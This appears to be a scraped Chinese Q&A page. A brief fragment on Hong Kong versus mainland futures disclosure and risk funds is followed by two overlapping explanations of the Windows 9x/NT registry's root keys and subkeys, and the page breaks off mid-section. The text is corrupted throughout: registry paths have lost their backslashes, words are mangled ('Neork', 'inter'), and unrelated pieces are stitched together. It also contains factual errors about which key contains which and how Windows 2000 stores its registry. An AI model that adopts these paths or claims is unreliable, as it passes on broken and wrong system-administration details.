信息披露:香港期货交易所目前在信息披露方面,HKAT系统可以显示市场上最好的5个卖出价和买入价及其数量,显示即时市场上前250个买卖盘之价格及其数量,每日披露前十名的交易量和持仓量,其他不予公布。最近证监会在修改信息披露条款时,也遇到信息披露与保护投资者(套保者)商业机密的冲突问题,交易所的看法是,注意两个方面的平衡。内地期货市场交易期间信息披露内容没有香港多,事后披露的信息包括交易量、持仓量、交割配对情况等比香港多。 风险基金:香港衍生品市场有储备基金(Reserve Fund)和补偿基金(Compensation Fund)作为期货市场的风险保障。当市场出现大的风险,参与者期货(权)交易按金不能弥补交易亏损,结算所可以动用储备基金补偿其他交易所参与者的盈利。当市场参与者因期货交易而破产,其客户的按金无法收回,客户可以向证监会申请调查和补偿,如果情况属实,客户可以得到补偿,客户补偿金的来源是补偿基金。内地目前没有补偿基金,只有储备基金。
2023-07-20 11:12:051

注册表中的控制键是什么东西?

分类: 电脑/网络 >> 软件 解析: 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 注册表是windows的命根,里面储存着大量的系统信息,是一个庞大的数据库。注册表里面所有的信息平时都是由windows操作系统自主管理的,也可以通过软件或手工修改。注册表里面有很多系统的重要信息,包括外设,驱动程序,软件,用户记录等等,注册表在很大程度上“指挥”电脑怎样工作。注册表有很大的用处,功能非常强大,是windows的核心。通过修改注册表,我们可以对系统进行限制、优化等等 以下是对注册表的一点分析。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗 *** 置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Neork, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNeork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENeork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNeork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Neork :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesiaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在neare网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的inter邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到inter上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上inter。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Inter上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESofareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一
2023-07-20 11:12:131

关于注册表

一、什么是注册表? Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在Win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 早在Dos和Win3.x的时代,大部分的应用程序都是采用了 ini 文件(初始化文件)来保存一些配置信息,如设置路径,环境变量等。system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东。注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。利用一个功能强大的注册表数据库来统一集中地管理系统硬件设施,软件配置等信息,从而方便了管理,增强了系统的稳定性。最直观的一个实例就是,为什么windows下的不同用户可以拥有各自的个性化设置,如不同的墙纸,不同的桌面。这就是通过注册表来实现的。 由此可见,注册表(Registry)是Windows9x/Me/NT/2000操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”;是一个巨大的树状分层的数据库。它记录了用户安装在机器上的软件和每个程序的相互关联关系;它包含了计算机的硬件配置,包括自动配置的即插即用的设备和已有的各种设备说明、状态属性以及各种状态信息和数据等。 二、注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Windows NT下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win9x下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win9x 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持的设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: ★控制面板功能; ★桌面外观和图标; ★网络参数; ★浏览器功能性和特征。 这些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: ★存取控制; ★登陆确认; ★文件和打印机共享; ★网卡设置和协议; ★系统性能和虚拟内存设置。 没有了注册表,Win9x和Windows NT 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Windows NT和Win9x系统管理基本常识。 概括起来,注册表中存放着各种参数,直接控制着 Windows 的启动、硬件驱动程序的装载以及一些 Windows 应用程序的运行,从而在整个系统中起着核心作用。它包括: (1)软、硬件的有关配置和状态信息,注册表中保存有应用程序和资源管理器外壳的初始条件、首选项和卸载数据。 (2)联网计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联,硬件部件的描述、状态和属性。 (3)性能记录和其它底层的系统状态信息,以及其它数据。 如果注册表受到了破坏,轻者使 Windows 的启动过程出现异常,重者可能会导致整个系统的完全瘫痪。因此正确地认识、使用,特别是及时备份以及有问题时恢复注册表,对Windows用户来说就显得非常重要。学会了注册表的知识以及相关应用,便能使你的电脑操作更加得心应手!从而成为一位名副其实的电脑高手! 三、与注册表有关的术语: ①、注册表:是一个树状分层的数据库(如图1)。从物理上讲,它是System.dat和User.dat两个文件;从逻辑上讲,它是用户在注册表编辑器中看到的配置数据。 ②、HKEY :“根键”或“主键”,它的图标与资源管理器中文件夹的图标有点儿相像。Windows98将注册表分为六个部分,并称之为 HKEY_name,它意味着某一键的句柄。(图2) ③、key(键):它包含了附加的文件夹和一个或多个值。 ④、subkey(子键):在某一个键(父键)下面出现的键(子键)。 ⑤、branch(分支):代表一个特定的子键及其所包含的一切。一个分支可以从每个注册表的顶端开始,但通常用以说明一个键和其所有内容。 ⑥、value entry(值项):带有一个名称和一个值的有序值。每个键都可包含任何数量的值项。每个值项均由三部分组成:名称,数据类型,数据。(如图3) ★ 名称:不包括反斜杠的字符、数字、代表符、空格的任意组合。同一键中不可有相同的名称。 ★ 数据类型:包括字符串、二进制、双字三种。 字符串(REG_SZ):顾名思义,一串ASCII码字符。如“Hello World”,是一串文字或词组。在注册表中,字符串值一般用来表示文件的描述、硬件的标识等。通常它由字母和数字组成。注册表总是在引号内显示字符串。 二进制(REG_BINARY):如 F03D990000BC ,是没有长度限制的二进制数值,在注册表编辑器中,二进制数据以十六进制的方式显示出来。 双 字(REG_DWORD):从字面上理解应该是Double Word ,双字节值。由1-8个十六进制数据组成,我们可用以十六进制或十进制的方式来编辑。如 D1234567 。 ★ 数据: 值项的具体值,它可以占用到64KB。 ⑦、 Default(缺省值):每一个键至少包括一个值项,称为缺省值(Default),它总是一个字串。 四、注册表的内部组织结构及相互关系 计算机配置和缺省用户设置的注册表数据在Windows NT中被保存在下面这五个文件中:DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。而 Windows9x/Me/2000将所有注册表文件存入2个文件中:System.dat和User.dat。它们是二进制文件,不能用文本编辑器查看。它们存在于Windows目录下,具有隐含、系统、只读属性。 System.dat包含了计算机特定的配置数据,User.dat包含了用户特定的数据。User.dat文件的位置在以某个用户名登录时,其位于C:Windowsprofiles用户名目录下,系统同时在C:Windows目录下保留了一个缺省的User.dat文件,以备新用户使用。内部组织结构是一个类似于目录管理的树状分层的结构(如图1)。 WINDOWS的注册表有六大根键,相当于一个硬盘被分成了六个分区。 在“运行”对话框中输入RegEdit,然后单击“确定”按钮,则可以运行注册表编辑器。 图1左窗格显示的是注册表的根键,这样的根键共六个。这些根键都是大写的,并以HKEY_为前缀,这种命令约定是以Win32 API的Registry函数的关键字的符号变量为基础的。 虽然在注册表中,六个根键看上去处于一种并列的地位,彼此毫无关系。但事实上,HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG中存放的信息都是HKEY_LOCAL_MACHINE中存放的信息的一部分,而HKEY_CURRENT_USER中存放的信息只是HKEY_USERS存放的信息的一部分。HKEY_LOCAL_MACHINE包括HKEY_CLASSES_ROOT和HKEY_CURRENT_USER中所有的信息。在每次系统启动后,系统就映射出HKEY_CURRENT_USER中的信息,使得用户可以查看和编辑其中的信息。 实际上,HKEY_LOCAL_MACHINESOFTWAREClasses就是HKEY_CLASSES_ROOT,为了用户便于查看和编辑,系统专门把它作为一个根键。同理,HKEY_CURRENT_CONFIGSY-STEMCurrent Control就是HKEY_LOCAL_MACHINESYSTEMCurrent Control。 HKEY_USERS中保存了默认用户和当前登录用户的用户信息。HKEY_CURRENT_USER中保存了当前登录用户的用户信息。 HKEY_DYN_DATA保存了系统运行时的动态数据,它反映出系统的当前状态,在每次运行时都是不一样的,即便是在同一台机器上。 根据上面的分析,注册表中的信息可以分为HKEY_LOCAL_MACHINE和HKEY_USERS两大类,这两大类的详细内容请看后面的介绍。 五、六大根键的作用 